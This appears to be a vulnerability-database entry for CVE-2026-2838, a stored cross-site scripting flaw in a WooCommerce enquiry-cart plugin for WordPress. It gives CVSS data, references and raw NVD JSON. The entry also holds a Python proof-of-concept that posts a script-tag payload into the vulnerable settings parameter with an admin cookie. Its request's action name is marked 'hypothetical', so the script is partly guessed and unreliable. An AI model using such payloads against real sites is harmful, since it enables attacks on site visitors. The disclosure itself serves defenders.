CVE-2026-2838

Description

The Whole Enquiry Cart for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘woowhole_success_msg’ parameter in all versions up to, and including, 1.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score

4.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Whole Enquiry Cart for WooCommerce <= 1.2.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://target-wordpress-site.com/wp-admin/admin.php?page=woowhole-settings"

# Attacker's admin cookie (Required due to PR:H)
cookies = {
    "wordpress_logged_in_12345": "admin_session_token_here",
    "wp-settings-time-1": "1234567890"
}

# Vulnerable payload
payload = '"><script>alert("CVE-2026-2838_POC");</script>'

# Exploit data targeting the 'woowhole_success_msg' parameter
post_data = {
    "woowhole_success_msg": payload,
    "action": "update_options", # Hypothetical action name
    "submit": "Save Changes"
}

try:
    # Send the malicious request
    response = requests.post(target_url, data=post_data, cookies=cookies, timeout=10)

    if response.status_code == 200:
        print("[+] Payload injected successfully.")
        print("[+] Check the plugin settings page or frontend to trigger the XSS.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")

except requests.exceptions.RequestException as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-2838
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-2838
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-2838/
[4] VulDB https://vuldb.com/cve/CVE-2026-2838
[5] https://plugins.trac.wordpress.org/browser/whole-cart-enquiry/trunk/admin.php#L53
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/ddc14a98-1df8-480b-bae3-5ec057b498af?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-2838", "sourceIdentifier": "[email protected]", "published": "2026-04-08T07:16:20.707", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Whole Enquiry Cart for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘woowhole_success_msg’ parameter in all versions up to, and including, 1.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/whole-cart-enquiry/trunk/admin.php#L53", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ddc14a98-1df8-480b-bae3-5ec057b498af?source=cve", "source": "[email protected]"}]}}